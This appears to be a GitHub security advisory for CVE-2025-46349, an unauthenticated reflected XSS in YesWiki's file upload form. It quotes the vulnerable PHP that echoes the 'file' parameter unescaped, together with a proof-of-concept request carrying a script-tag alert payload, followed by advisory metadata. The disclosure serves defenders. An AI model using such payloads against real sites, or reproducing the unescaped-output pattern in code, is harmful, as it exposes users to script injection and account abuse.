ghsa-2f8p-qqx2-gwr2
Vulnerability from github
Summary
Reflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication
This Proof of Concept has been performed using the followings:
- YesWiki v4.5.3 (doryphore-dev branch)
- Docker environnment (docker/docker-compose.yml)
Vulnerable code
The vulnerability is located in the file
public function showUploadForm()
{
$this->file = $_GET['file'];
echo '<h3>' . _t('ATTACH_UPLOAD_FORM_FOR_FILE') . ' ' . $this->file . "</h3>\n";
echo '<form enctype="multipart/form-data" name="frmUpload" method="POST" action="' . $this->wiki->href('upload', $this->wiki->GetPageTag()) . "\">\n"
. ' <input type="hidden" name="wiki" value="' . $this->wiki->GetPageTag() . "/upload\" />\n"
. ' <input type="hidden" name="MAX_FILE_SIZE" value="' . $this->attachConfig['max_file_size'] . "\" />\n"
. " <input type=\"hidden\" name=\"file\" value=\"$this->file\" />\n"
. " <input type=\"file\" name=\"upFile\" size=\"50\" /><br />\n"
. ' <input class="btn btn-primary" type="submit" value="' . _t('ATTACH_SAVE') . "\" />\n"
. "</form>\n";
}
PoC
- You need to send a request to endpoint and abusing the
file
parameter, we can successfully obtain client side javascript executionGET /?PagePrincipale/upload&file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1 Host: localhost:8085 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "macOS" Accept-Language: ru-RU,ru;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Connection: keep-alive
- Get a response
Impact
This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions
{ "affected": [ { "package": { "ecosystem": "Packagist", "name": "yeswiki/yeswiki" }, "ranges": [ { "events": [ { "introduced": "0" }, { "last_affected": "4.5.3" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2025-46349" ], "database_specific": { "cwe_ids": [ "CWE-79" ], "github_reviewed": true, "github_reviewed_at": "2025-04-29T14:38:12Z", "nvd_published_at": null, "severity": "HIGH" }, "details": "### Summary\nReflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication\n\nThis Proof of Concept has been performed using the followings:\n\n- YesWiki v4.5.3 (doryphore-dev branch)\n- Docker environnment (docker/docker-compose.yml)\n\n### Vulnerable code\nThe vulnerability is located in the [file](https://github.com/YesWiki/yeswiki/blob/6894234bbde6ab168bf4253f9a581bd24bf53766/tools/attach/libs/attach.lib.php#L724-L735)\n```\n public function showUploadForm()\n {\n $this-\u003efile = $_GET[\u0027file\u0027];\n echo \u0027\u003ch3\u003e\u0027 . _t(\u0027ATTACH_UPLOAD_FORM_FOR_FILE\u0027) . \u0027 \u0027 . $this-\u003efile . \"\u003c/h3\u003e\\n\";\n echo \u0027\u003cform enctype=\"multipart/form-data\" name=\"frmUpload\" method=\"POST\" action=\"\u0027 . $this-\u003ewiki-\u003ehref(\u0027upload\u0027, $this-\u003ewiki-\u003eGetPageTag()) . \"\\\"\u003e\\n\"\n . \u0027\t\u003cinput type=\"hidden\" name=\"wiki\" value=\"\u0027 . $this-\u003ewiki-\u003eGetPageTag() . \"/upload\\\" /\u003e\\n\"\n . \u0027\t\u003cinput type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"\u0027 . $this-\u003eattachConfig[\u0027max_file_size\u0027] . \"\\\" /\u003e\\n\"\n . \"\t\u003cinput type=\\\"hidden\\\" name=\\\"file\\\" value=\\\"$this-\u003efile\\\" /\u003e\\n\"\n . \"\t\u003cinput type=\\\"file\\\" name=\\\"upFile\\\" size=\\\"50\\\" /\u003e\u003cbr /\u003e\\n\"\n . \u0027\t\u003cinput class=\"btn btn-primary\" type=\"submit\" value=\"\u0027 . _t(\u0027ATTACH_SAVE\u0027) . \"\\\" /\u003e\\n\"\n . \"\u003c/form\u003e\\n\";\n }\n```\n### PoC\n1. You need to send a request to endpoint and abusing the `file` parameter, we can successfully obtain client side javascript execution\n```\nGET /?PagePrincipale/upload\u0026file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: localhost:8085\nCache-Control: max-age=0\nsec-ch-ua: \"Chromium\";v=\"135\", \"Not-A.Brand\";v=\"8\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"macOS\"\nAccept-Language: ru-RU,ru;q=0.9\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n```\n2. Get a response\n\u003cimg width=\"853\" alt=\"\u0421\u043d\u0438\u043c\u043e\u043a \u044d\u043a\u0440\u0430\u043d\u0430 2025-04-11 \u0432 02 04 55\" src=\"https://github.com/user-attachments/assets/b923f563-ead5-494c-8fbd-1c3b11635820\" /\u003e\n\n\n### Impact\nThis vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions", "id": "GHSA-2f8p-qqx2-gwr2", "modified": "2025-04-29T14:38:12Z", "published": "2025-04-29T14:38:12Z", "references": [ { "type": "WEB", "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2" }, { "type": "WEB", "url": "https://github.com/YesWiki/yeswiki/commit/0dac9e2fb2a5e69f13a3c9f761ecae6ed9676206" }, { "type": "PACKAGE", "url": "https://github.com/YesWiki/yeswiki" }, { "type": "WEB", "url": "https://github.com/YesWiki/yeswiki/blob/6894234bbde6ab168bf4253f9a581bd24bf53766/tools/attach/libs/attach.lib.php#L724-L735" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L", "type": "CVSS_V3" } ], "summary": "YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting" }
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.